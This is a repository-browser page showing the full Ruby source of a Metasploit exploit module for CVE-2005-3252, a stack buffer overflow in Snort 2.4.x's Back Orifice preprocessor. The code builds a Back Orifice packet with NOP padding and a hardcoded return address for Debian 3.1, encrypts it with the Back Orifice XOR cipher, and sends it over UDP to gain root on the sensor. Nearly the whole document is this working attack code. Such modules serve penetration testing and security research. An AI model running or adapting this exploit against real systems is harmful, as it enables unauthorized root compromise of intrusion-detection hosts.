Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / linux / ids / snortbopre.rb @ master

History | View | Annotate | Download (2.4 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# web site for more information on licensing and terms of use.
9
#   http://metasploit.com/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        include Msf::Exploit::Remote::Udp
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',
22
                        'Description'    => %q{
23
                                        This module exploits a stack buffer overflow in the Back Orifice pre-processor module
24
                                included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
25
                                be used to completely compromise a Snort sensor, and would typically gain an attacker
26
                                full root or administrative privileges.
27
                        },
28
                        'Author'         => 'KaiJern Lau <xwings [at] mysec.org>',
29
                        'License'        => BSD_LICENSE,
30
                        'Version'        => '$Revision$',
31
                        'References'     =>
32
                                [
33
                                        ['CVE', '2005-3252'],
34
                                        ['OSVDB', '20034'],
35
                                        ['BID', '15131'],
36
                                        ['URL','http://xforce.iss.net/xforce/alerts/id/207'] ,
37
                                ],
38
                        'Payload'        =>
39
                                {
40
                                        'Space'    => 1073, #ret : 1069
41
                                        'BadChars' => "\x00",
42
                                },
43
                        'Targets'        =>
44
                                [
45
                                        # Target 0: Debian 3.1 Sarge
46
                                        [
47
                                                'Debian 3.1 Sarge',
48
                                                {
49
                                                        'Platform' => 'linux',
50
                                                        'Ret'      => 0xbffff350
51
                                                }
52
                                        ],
53
                                ],
54
                        'DefaultTarget' => 0,
55
                        'DisclosureDate' => 'Oct 18 2005'))
56

    
57
                # Configure the default port to be 9080
58
                register_options(
59
                        [
60
                                Opt::RPORT(9080),
61
                        ], self.class)
62
        end
63

    
64
        def msrand(seed)
65
                @holdrand = 31337
66
                end
67

    
68
        def mrand()
69
                return (((@holdrand=@holdrand*(214013 & 0xffffffff)+(2531011 & 0xffffffff))>>16)&0x7fff)
70
                end
71

    
72
        def bocrypt(takepayload)
73

    
74
                @arrpayload = (takepayload.split(//))
75

    
76
                encpayload = ""
77
                @holdrand=0
78
                msrand(0)
79

    
80
                @arrpayload.each do |c|
81
                        encpayload +=((c.unpack("C*").map{ |v| (v^(mrand()%256)) }.join)).to_i.chr
82
                end
83

    
84
                return encpayload
85
                end
86

    
87

    
88
        def exploit
89
                connect_udp
90

    
91
                boheader =
92
                        "*!*QWTY?"  +
93
                        [1096].pack("V")  +           # Length ,thanx Russell Sanford
94
                        "\xed\xac\xef\x0d"+           # ID
95
                        "\x01"                        # PING
96

    
97
                filler =
98
                        make_nops(1069 -(boheader.length + payload.encode.length))
99

    
100
                udp_sock.write(
101
                        bocrypt(boheader+payload.encode+filler+[target.ret].pack('V'))
102
                )
103

    
104
                handler
105
                disconnect_udp
106
        end
107

    
108
end